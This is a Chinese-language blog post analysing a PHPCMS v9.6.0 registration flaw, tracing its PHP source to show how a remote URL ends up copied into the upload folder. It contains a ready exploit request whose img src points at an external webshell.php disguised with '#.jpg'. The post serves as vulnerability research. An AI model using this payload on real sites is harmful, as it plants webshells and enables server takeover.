PHPCMSv9.6.0任意文件下载漏洞分析

比较久的一个洞了,当时正好没啥时间看,今天突然想起来,那就翻出来分析一波把23333

源码地址 https://github.com/pupiles/vulcms

测试环境PHPSTORM + XDEBUG + PHP5.4 + firefox

漏洞url

1
http://localhost/install_package/index.php?m=member&c=index&a=register&siteid=1

漏洞exp

1
siteid=1&modelid=1&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http://files.pupiles.com/webshell/webshell.php#.jpg>&dosubmit=1

漏洞演示如下:

然后会返回操作失败

然而我们的webshell已经存放在目标站的upload下了

漏洞细节

首先我们看一下逻辑知道目标漏洞位于普通用户的注册逻辑处,那么按照一般MVC的尿性我们打开,应该在modules=member&&method=register处,于是我们就来到

1
phpcms/modules/member/index.php


根据exp直接搜索$_POST['info'],来到130行

1
2
3
4
5
6
7
8
//附表信息验证 通过模型获取会员信息
if($member_setting['choosemodel']) {
require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']);
}

这里我们可以看到$_POST[‘info’]经过一个叫做array_map函数处理,也就是$_POST[‘info’]经过一个自定义的叫做new_html_special_chars的函数处理,我们拐进去看一下(快捷键ctrl+b)

1
2
3
4
5
6
7
function new_html_special_chars($string) {
$encoding = 'utf-8';
if(strtolower(CHARSET)=='gbk') $encoding = 'gb2312';
if(!is_array($string)) return htmlspecialchars($string,ENT_COMPAT,$encoding);
foreach($string as $key => $val) $string[$key] = new_html_special_chars($val);
return $string;
}

没啥特别的。就是把数组拆开,然后对每个值进行htmlspecial处理。
我们跳回去再看

1
$user_model_info = $member_input->get($_POST['info'])

这里调用了$member_input类的get方法,而这个$member_input又是member_input类的一个对象。这里我想提一个题外话,注意一下实例化的时候传入了一个$userinfo['modelid']参数,这个参数其实就是我们exp中的modelid=1,这里这个参数其实对于此漏实并没有影响。然后我们来看一下我们的大头戏get方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function get($data) {
$this->data = $data = trim_script($data);
$model_cache = getcache('member_model', 'commons');
$this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];

$info = array();
$debar_filed = array('catid','title','style','thumb','status','islink','description');
if(is_array($data)) {
foreach($data as $field=>$value) {
if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
$field = safe_replace($field);
$name = $this->fields[$field]['name'];
$minlength = $this->fields[$field]['minlength'];
$maxlength = $this->fields[$field]['maxlength'];
$pattern = $this->fields[$field]['pattern'];
$errortips = $this->fields[$field]['errortips'];
if(empty($errortips)) $errortips = "$name 不符合要求!";
$length = empty($value) ? 0 : strlen($value);
if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!");
if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
if($maxlength && $length > $maxlength && !$isimport) {
showmessage("$name 不得超过 $maxlength 个字符!");
} else {
str_cut($value, $maxlength);
}
if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);

$info[$field] = $value;
}
}
return $info;
}

代码balabala写的挺长的,不过我们这时候我们只需要提取一些关键部分的代码,像一些对于变量本身的值没有影响以及无关变量的代码就可以省去了,就跟做英语阅读理解一样。举个栗子,像这段代码中的变量赋值,以及对我们本身关注的变量$value没有影响的代码就可以省去了,精简完如下

1
2
3
4
5
6
7
8
9
10
11
12
13
function get($data) {
$this->data = $data = trim_script($data);
$info = array();
if(is_array($data)) {
$field = safe_replace($field);
foreach($data as $field=>$value) {
$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);
$info[$field] = $value;
}
}
return $info;
}

这样代码就看起来就很容易理解了,好了回到正题。这里我们的$data也就是$_POST['info']显示经过了一个叫做trim_script的函数处理,我们依然拐进去看一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
function trim_script($str) {
if(is_array($str)){
foreach ($str as $key => $val){
$str[$key] = trim_script($val);
}
}else{
$str = preg_replace ( '/\<([\/]?)script([^\>]*?)\>/si', '&lt;\\1script\\2&gt;', $str );
$str = preg_replace ( '/\<([\/]?)iframe([^\>]*?)\>/si', '&lt;\\1iframe\\2&gt;', $str );
$str = preg_replace ( '/\<([\/]?)frame([^\>]*?)\>/si', '&lt;\\1frame\\2&gt;', $str );
$str = str_replace ( 'javascript:', 'javascript:', $str );
}
return $str;
}

转义了一些特殊的标签,跟我们没啥关系,那我们就跳回来继续看。来到

1
$field = safe_replace($field);

依旧拐进去看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','&lt;',$string);
$string = str_replace('>','&gt;',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}

把我们的payload的<,>替换成字符实体了,然而不管我们跳回来继续看。

1
2
$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);

这段代码大致的意思判断$func方法是否存在,如果存在,就用$func方法处理我们的关键变量$value,可是看到这里我相信很多同学都跟我有一样的疑问,$this->fields是什么?
$this->fields[$field]又是什么?$func到底是神魔鬼啊?
这时候我们就要掏出神器xdebug来进行动态调试,先设个断点。

接着调试页面,输入我们的exp,可以看到我们在断点处停下来了

果断F7下一步

这里我们可以到$func的值为editor并且content跟我预测的一样,标签符被替换成了字符实体。
好了,既然我们知道了$func的值,那我们就去跳去本类下的editor方法处看看有没有什么惊喜吧。

1
2
3
4
5
6
7
8
function editor($field, $value) {
$setting = string2array($this->fields[$field]['setting']);
$enablesaveimage = $setting['enablesaveimage'];
$site_setting = string2array($this->site_config['setting']);
$watermark_enable = intval($site_setting['watermark_enable']);
$value = $this->attachment->download('content', $value,$watermark_enable);
return $value;
}

这里我们可以看到全场最关键的部分来了

1
$value = $this->attachment->download('content', $value,$watermark_enable);

这是什么?下载啊,赶紧跟进去看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
global $image_d;
$this->att_db = pc_base::load_model('attachment_model');
$upload_url = pc_base::load_config('system','upload_url');
$this->field = $field;
$dir = date('Y/md/');
$uploadpath = $upload_url.$dir;
$uploaddir = $this->upload_root.$dir;
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);

$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
}

依旧只找关键部分,先来到

1
$string = new_stripslashes($value);

拐进去看一下

1
2
3
4
5
function new_stripslashes($string) {
if(!is_array($string)) return stripslashes($string);
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
return $string;
}

也没啥特别的,就是一个数组版的stripslashes函数,然后来到

1
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;

这里对我们的payload进行了正则匹配,$ext是一个允许的拓展名的数组,如果匹配不到就会退出

1
$ext = 'gif|jpg|jpeg|bmp|png'

这里还是挺好绕过的

1
src=http://files.pupiles.com/webshell/webshell.php#.jpg

所以我们往下继续看
来到这一行

1
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);

我们的url经过了一个叫做fillurl的方法处理
代码比较长,为了节省文章篇幅,我就截取了最重要的部分

1
2
3
4
5
6
7
8
9
$surl = trim($surl);
if($surl=='') return '';
$urls = @parse_url(SITE_URL);
$HomeUrl = $urls['host'];
$BaseUrlPath = $HomeUrl.$urls['path'];
$BaseUrlPath = preg_replace("/\/([^\/]*)\.(.*)$/",'/',$BaseUrlPath);
$BaseUrlPath = preg_replace("/\/$/",'',$BaseUrlPath);
$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);

可以看到这里不仅仅对我们的url没有进行任何的过滤,还帮助我们把#后面的内容全部省去了,离成功又进了一步,我们调回去继续看

1
2
$upload_func = $this->upload_func;
if($upload_func($file, $newfile))

这里我们可以看到进行了$upload_func函数的操作,我们在最开始可以看到该变量的赋值

1
2
3
function __construct($module='', $catid = 0,$siteid = 0,$upload_dir = '') {
$this->upload_func = 'copy';
}

那么思路就很清晰了,我们调用了php的copy方法对我们传入payload的url进行了处理。

至此漏洞复现成功(完结,撒花!)
(PS1:既然这里的url我们是可控的,那是不是也存在ssrf漏洞呢)
(PS2:网上看别的大佬复现的时候会出现mysql报错)

然而我却只是提示个操作失败,如果有知道的师傅请留个言,谢谢